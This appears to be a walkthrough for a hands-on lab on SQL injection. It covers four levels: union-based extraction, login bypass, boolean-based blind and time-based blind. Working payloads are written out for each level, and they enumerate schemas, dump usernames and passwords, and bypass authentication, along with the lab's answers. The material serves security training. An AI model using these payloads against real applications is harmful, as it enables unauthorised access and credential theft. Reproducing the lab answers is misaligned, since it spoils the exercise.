This task puts you in front of four lab levels. Each one isolates a different injection technique from the previous tasks. The SQL Query box updates live as you type, so you can see exactly how your input changes what the database receives. Watch it as you work.
Click Start Machine to deploy the lab. You can then view the lab in split-screen mode or access it at http://MACHINE_IP/level1 in your browser if you are using the VPN. The lab shows a mock browser with a simulated address bar, page content, and an SQL Query box that updates live as you type, showing the actual query being executed. A SQL Results or Answer box shows output or prompts for a response. Levels are sequential: finish one to unlock the next. Flags appear at the top of each new level. If you get a 502 error, wait a moment and refresh.
Level 1: Union-Based SQLi (In-Band)
What you see: A mock browser at https://website.thm/article?id=1 showing a blog article titled "My First Article". The SQL Query box shows:
select * from article where id =
Step 1: Find the column count. Change the id value in the URL bar:
1 UNION SELECT 1
Error. Wrong number of columns. Try two:
1 UNION SELECT 1,2
Still an error. Try three:
1 UNION SELECT 1,2,3
No error, and the article loads. This means the article table has 3 columns. This is the UNION rule from Task 2: both SELECT statements must return the same number of columns. The database rejects anything that does not match, which is why each wrong guess gives you an error.
Step 2: Make your UNION output visible. Set the article ID to 0 so the original query returns nothing:
0 UNION SELECT 1,2,3
With a valid ID like 1, the legitimate article row fills the page, and our injected row gets pushed aside. Setting it to 0 returns no real article, so only our UNION output renders. The values 1, 2, and 3 appear on the page.3 shows up in the content area, which is the column we will use for extraction.
Step 3: Get the database name.
0 UNION SELECT 1,2,database()
database() is a MySQL function that returns the name of the current database. The content area shows that the current database is sqli_one.
Step 4: List tables.
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
information_schema is the database's own catalogue, covered in Task 2. It holds the names of every table in every database on the server. group_concat() concatenates all results into a single string so they fit in the single column we have available. You can now see the tables, including staff_users.
Step 5: List columns in the target table.
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
This reveals the columns: id, username, and password.
Step 6: Extract credentials.
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
All usernames and passwords appear on the page. Find Martin's password and enter it in the Answer box.
Click Check Password to find the first flag and move on to Level 2.
Level 2: Authentication Bypass
What you see: A login form at https://website.thm/login. The SQL Query box shows:
select * from users where username='' and password='' LIMIT 1;
The app checks whether this query returns a row. If it does, you are in. It never shows you the data; it just shows success or failure. That makes this Blind SQLi: the injection works, but the results aren't visible on the page.
The payload. In the Username field, enter ' OR 1=1;-- and put anything in the Password field. The server builds:
select * from users where username='' OR 1=1;--' and password='anything' LIMIT 1;
Let's break it down:
username='' does not match any user
OR 1=1 is always true, so the entire WHERE clause evaluates to true
;-- ends the statement and comments out everything after it, including the and password= check
- The database returns every row. The app sees rows and logs you in as the first user
The password field is irrelevant because -- removes it from the query before the database ever evaluates it.
Click Login. You will see a message confirming the bypass. Click Level 3 to find the second flag, then move on.
Level 3: Boolean-Based Blind SQLi
What you see: Two mock browsers:
- Top: A checkuser API at
https://website.thm/checkuser?username=admin returning {"taken":true}.
- Bottom: A login form for the credentials you are about to discover.
If you execute the query in the Top browser, the SQL Query box shows:
select * from users where username = '%username%' LIMIT 1;
There is no data in the page output. Your only feedback is {"taken":true} or {"taken":false}. That binary signal is all you need. You use it to ask the database yes/no questions and extract content one character at a time.
Step 1: Confirm injection.
admin123' UNION SELECT 1,2,3 where database() like '%';--
% is a wildcard that matches anything, so this condition is always true. Response: {"taken":true}. Injection is confirmed and working.
Step 2: Get the database name, letter by letter.
admin123' UNION SELECT 1,2,3 where database() like 'a%';--
This returns {"taken":false}. Not 'a'. Try s%:
admin123' UNION SELECT 1,2,3 where database() like 's%';--
This returns {"taken":true}. First letter is s. Fix that and test the second character:
admin123' UNION SELECT 1,2,3 where database() like 'sa%';-- {"taken":false}
admin123' UNION SELECT 1,2,3 where database() like 'sq%';-- {"taken":true}
Keep narrowing: sqla% (false),sqli% (true),sqli_% (true),sqli_t% (false),sqli_th% (false),sqli_thr% (false), and so on. This reveals that the full database name is sqli_three.
Step 3: Find table names.
Now query information_schema.tables the same way, but test table names instead:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'u%';--
{"taken":true}. Something starts with 'u'. Keep going: us% (true),use% (true),user% (true), users with no wildcard (true). Now you know the table name: users.
Step 4: Get column names.
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_name = 'users' and column_name like 'u%';--
Work through each column you want to enumerate. You find the columns username and password.
Step 5: Extract the username.
admin123' UNION SELECT 1,2,3 from users where username like 'a%';--
{"taken":true}. Keep going: ad%, adm%, admi%, admin with no wildcard (true). You’ve now got the username: admin
Step 6: Extract the password.
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like '3%';--
Work through the same way. The password is 3845.
Step 7: Log in. Enter admin and 3845 in the bottom form. Click Login to find the third flag and get to Level 4.
Level 4: Time-Based Blind SQLi
What you see: Similar setup to Level 3, but the injection point is the Referrer HTTP header. More importantly, the response looks completely identical whether a condition is true or false. There is nothing to read on the page. Your only signal is whether the response takes longer to arrive.
Step 1: Find the column count.
admin123' UNION SELECT SLEEP(5);--
Response comes back immediately, wrong column count. Try two:
admin123' UNION SELECT SLEEP(5),2;--
A 5-second pause before the response arrives. The table has 2 columns. The SLEEP() only runs when the UNION column count is correct, so the delay itself confirms both the injection and the column count.
Step 2: Get the database name.
Same character-by-character method as Level 3, but now you watch the clock instead of the response body. A 5-second delay means the condition is true. An immediate response means false.
Start with the first character:
admin123' UNION SELECT SLEEP(5),2 where database() like 's%';--
5-second delay. The database name starts with s. Fix that letter and test the second:
admin123' UNION SELECT SLEEP(5),2 where database() like 'sq%';--
Another delay. The second letter is q. Keep going the same way:
admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli%';--
Delay. Then sqli_:
admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_f%';--
Delay. Then sqli_fo%,sqli_fou%, each one giving a delay until you arrive at the full name with no wildcard:
admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--
Delay again, and this time there is no % at the end, which confirms you have the complete name. The database name is sqli_four.
Step 3: Enumerate tables and columns.
Same flow as Level 3, but every condition check uses SLEEP(). Query information_schema.tables for table names and information_schema.columns for column names. A delay means the character matches; immediate means it does not.
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'u%';--
Work through to find the users table, then enumerate its columns the same way.
Step 4: Extract the admin password.
admin123' UNION SELECT SLEEP(3),2 from users where username='admin' and password like '4%';--
3-second delay: first character is 4. Then49% (delay),496% (delay),4961% (delay),4961 with no wildcard (delay). You now have the password: 4961.
This level takes a while. Every character needs multiple requests, and every true condition means sitting through the sleep timer. That is time-based blind SQLi. It is the slowest technique here, but it works when there is nothing else to read from the response.
Step 5: Log in and reflect on what just happened. Enter admin and 4961 in the login form and click Login to get the final flag.
Take a moment to think about what you actually did here. You extracted a full set of credentials without the application ever returning a single byte of database content. No data in the page, no error messages, no boolean signal to read. Every digit of that password came from watching whether a response took 3 seconds or arrived immediately, repeated across dozens of requests.
That is the core of time-based blind SQLi: you never read the data, you deduce it. The database does the work, and the clock tells you the answer. In a real engagement, you would use SQLmap to automate character enumeration rather than testing by hand. But doing it manually once makes clear why the technique works and where it can break, which matters when you need to adjust your approach against a target that blocks or rate-limits automated tools.